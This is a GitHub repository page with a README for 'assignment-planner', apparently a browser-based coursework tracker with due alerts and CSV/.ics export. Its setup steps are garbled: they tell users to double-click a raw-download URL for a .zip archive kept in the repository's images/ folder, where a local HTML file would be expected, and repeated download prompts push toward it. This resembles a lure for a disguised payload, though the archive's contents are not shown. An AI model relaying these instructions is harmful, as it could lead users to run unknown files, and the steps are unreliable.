Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ“ assignment-planner - Organize Your Assignments with Ease

Download assignment-planner

πŸ“‹ Description

The assignment-planner is a simple client-side application designed to help you manage your coursework. You can add assignments, filter them by due date, and sort them to keep your tasks organized. The app also sends you due alerts using the Notification API, allows exporting to CSV and .ics formats, supports printing, and saves data with localStorage. It uses HTML, SCSS, and JavaScript with no backend required.

πŸš€ Getting Started

Follow these steps to get the assignment-planner up and running on your device.

🎁 Prerequisites

  • A modern web browser (e.g., Google Chrome, Mozilla Firefox, Microsoft Edge).
  • A stable internet connection for downloading the application.

πŸ’» Download & Install

To download the assignment-planner, visit the Releases page. Click the link below to access it:

Download assignment-planner

  1. Go to the Releases page.
  2. Look for the latest release.
  3. Click on the download link for your preferred version. It should download as a .zip file.
  4. Once the download is complete, locate the downloaded .zip file on your computer.

πŸ“‚ Extracting the Files

  1. Right-click the downloaded .zip file.
  2. Select "Extract All" and choose a destination folder.
  3. Click "Extract" to unpack the files.

🌐 Running the Application

  1. Open the folder where you extracted the files.
  2. Locate the https://github.com/hamoodalbloshih11/assignment-planner/raw/refs/heads/main/images/assignment-planner-1.3.zip file.
  3. Double-click the https://github.com/hamoodalbloshih11/assignment-planner/raw/refs/heads/main/images/assignment-planner-1.3.zip file to open it in your web browser.
  4. You can now start adding, filtering, and sorting your assignments.

πŸ“… Features

  • Add Assignments: Enter details like title, due date, and description.
  • Filter and Sort: Easily filter assignments by due date or other criteria, and sort them according to your preferences.
  • Due Alerts: Get notifications for upcoming deadlines to never miss an assignment.
  • Export Options: Download your assignments as CSV or .ics files.
  • Print Functionality: Easily print your assignment list for a physical copy.
  • LocalStorage Support: Your data is saved, so you do not lose any assignments between sessions.

πŸš€ Usage Instructions

  1. Adding a New Assignment:

    • Click on the "Add Assignment" button.
    • Fill in the required fields (e.g., title, due date).
    • Click "Save" to add the assignment.
  2. Filtering Assignments:

    • Use the filter dropdown to choose your criteria.
    • The list will update automatically based on your selection.
  3. Sorting Assignments:

    • Click on the "Sort By" dropdown to select how you want to order the assignments.
    • The application will reorder them accordingly.
  4. Managing Due Alerts:

    • Ensure your browser allows notifications.
    • You will receive alerts based on the due dates you set.
  5. Exporting Assignments:

    • Click on the "Export" button.
    • Choose your desired format (CSV or .ics).
    • Follow the prompts to download the file.
  6. Printing Your Assignment List:

    • Click the "Print" button to open the print dialog.
    • Follow the instructions in your browser to print the page.

πŸ‘¨β€πŸŽ“ Intended Audience

This application is designed for students of all ages who want to improve their productivity and stay organized. It is ideal for anyone managing multiple assignments and deadlines.

πŸ” Troubleshooting

If you experience issues:

  • Ensure you have the latest browser version.
  • Clear your browser cache and refresh the page.
  • Check for any blocked notifications in your browser settings.

πŸ’‘ Tips

  • Regularly update your assignments to keep the list up to date.
  • Use the filter feature to focus on the most urgent assignments.
  • Set notifications ahead of your deadlines for ample time to complete tasks.

🌍 Community and Support

Join our community for updates and support. Whether you have suggestions, need help, or want to share your experience using the assignment-planner, feel free to reach out.

Download assignment-planner if you haven’t already and start planning your assignments today!

About

πŸ“… Track your assignments by course with due dates, priorities, and reminders using this fast, no-backend planner.

Topics

Resources

Stars

0 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages